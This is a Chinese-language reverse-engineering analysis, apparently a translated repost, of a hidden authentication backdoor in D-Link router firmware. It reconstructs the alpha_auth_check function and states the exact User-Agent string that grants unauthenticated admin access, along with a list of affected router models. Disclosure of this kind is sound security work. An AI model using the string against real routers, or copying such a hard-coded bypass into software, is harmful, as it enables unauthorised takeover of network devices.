struct http_request_t{ char unknown[0xB8]; char *url; // At offset 0xB8 into the data structure};int alpha_auth_check(struct http_request_t *request);
[b]alpha_auth_check[/b]本身是一个非常简单的函数。它会针对[b]http_request_t[/b]结构体里的一些指针进行字符串[b]strcmp[/b]比较操作,然后调用[b]check_login[/b]函数,实际上就是身份验证检查。如果一旦有字符串比较成功或[b]check_login[/b]成功,它会返回1;否者,它会重定向浏览器到登录页,返回-1;
[img]http://files.jb51.net/file_images/article/201310/22075605_kSWw.png[/img]
alpha_auth_check函数代码片段
这些字符串比较过程看起来非常有趣。它们提取请求的URL地址(在[b]http_request_t[/b]数据结构体的偏移量0xB8处),检查它们是否含有字符串“graphic/” 或 “public/”。这些都是位于路由器的Web目录下的公开子目录,如果请求地址包含这样的字符串,这些请求就可以不经身份认证就能执行。
然而,这最后一个strcmp却是相当的吸引眼球:
[img]http://files.jb51.net/file_images/article/201310/22075605_Sr2i.png[/img]
alpha_auth_check函数中一个非常有趣的字符串比较
这个操作是将[b]http_request_t[/b]结构体中偏移量0xD0的字符串指针和字符串“xmlset_roodkcableoj28840ybtide”比较,如果字符匹配,就会跳过[b]check_login[/b]函数,[b]alpha_auth_check[/b]操作返回1(认证通过)。
我在谷歌上搜索了一下“xmlset_roodkcableoj28840ybtide”字符串,只发现在一个俄罗斯论坛里提到过它,说这是一个在/bin/webs里一个“非常有趣”的一行。我非常同意。
那么,这个神秘的字符串究竟是和什么东西进行比较?如果回顾一下调用路径,我们会发现[b]http_request_t[/b]结构体被传进了好几个函数:
[img]http://files.jb51.net/file_images/article/201310/22075605_7d16.png[/img]
事实证明,[b]http_request_t[/b]结构体中处在偏移量 0xD0处的指针是由[b]httpd_parse_request[/b]函数赋值的:
[img]http://files.jb51.net/file_images/article/201310/22075605_4OeD.png[/img]
检查HTTP头信息中的User-Agent值
[img]http://files.jb51.net/file_images/article/201310/22075605_LlHH.png[/img]
将http_request_t + 0xD0指针指向头信息User-Agent字符串
这代码实际上就是:
if(strstr(header, "User-Agent:") != NULL){ http_request_t->0xD0 = header + strlen("User-Agent:") + strspn(header, " \t");}
知道了[b]http_request_t[/b]偏移量0xD0处的指针指向User-Agent头信息,我们可以推测出[b]alpha_auth_check[/b]函数的结构:
#define AUTH_OK 1#define AUTH_FAIL -1int alpha_auth_check(struct http_request_t *request){ if(strstr(request->url, "graphic/") || strstr(request->url, "public/") || strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0) { return AUTH_OK; } else { // These arguments are probably user/pass or session info if(check_login(request->0xC, request->0xE0) != 0) { return AUTH_OK; } } return AUTH_FAIL;}
换句话说,如果浏览器的User-Agent值是 “xmlset_roodkcableoj28840ybtide”(不带引号),你就可以不经任何认证而能访问web控制界面,能够查看/修改路由器的 设置(下面是D-Link路由器(DI-524UP)的截图,我没有 DIR-100型号的,但DI-524UP型号使用的是相同的固件):
[img]http://files.jb51.net/file_images/article/201310/22075605_W9Op.png[/img]
访问型号DI-524UP路由器的主界面
基于HTML页上的源代码信息和Shodan搜索结果,差不多可以得出这样的结论:下面的这些型号的D-Link路由器将会受到影响:
[list]
[*]DIR-100
[/*][*]DI-524
[/*][*]DI-524UP
[/*][*]DI-604S
[/*][*]DI-604UP
[/*][*]DI-604+
[/*][*]TM-G5240 [/*][/list]
除此之外,几款Planex路由器显然也是用的同样的固件程序:
[list]
[*]BRL-04UR
[/*][*]BRL-04CW [/*][/list]
你很酷呀,D-Link。
[b]脚注:[/b]万 能的网友指出,字符串“xmlset_roodkcableoj28840ybtide”是一个倒序文,反过来读就是 “editby04882joelbackdoor_teslmx”——edit by 04882joel backdoor _teslmx,这个后门的作者真是位天才!
机械节能产品生产企业官网模板...
大气智能家居家具装修装饰类企业通用网站模板...
礼品公司网站模板
宽屏简约大气婚纱摄影影楼模板...
蓝白WAP手机综合医院类整站源码(独立后台)...苏ICP备2024110244号-2 苏公网安备32050702011978号 增值电信业务经营许可证编号:苏B2-20251499 | Copyright 2018 - 2025 源码网商城 (www.ymwmall.com) 版权所有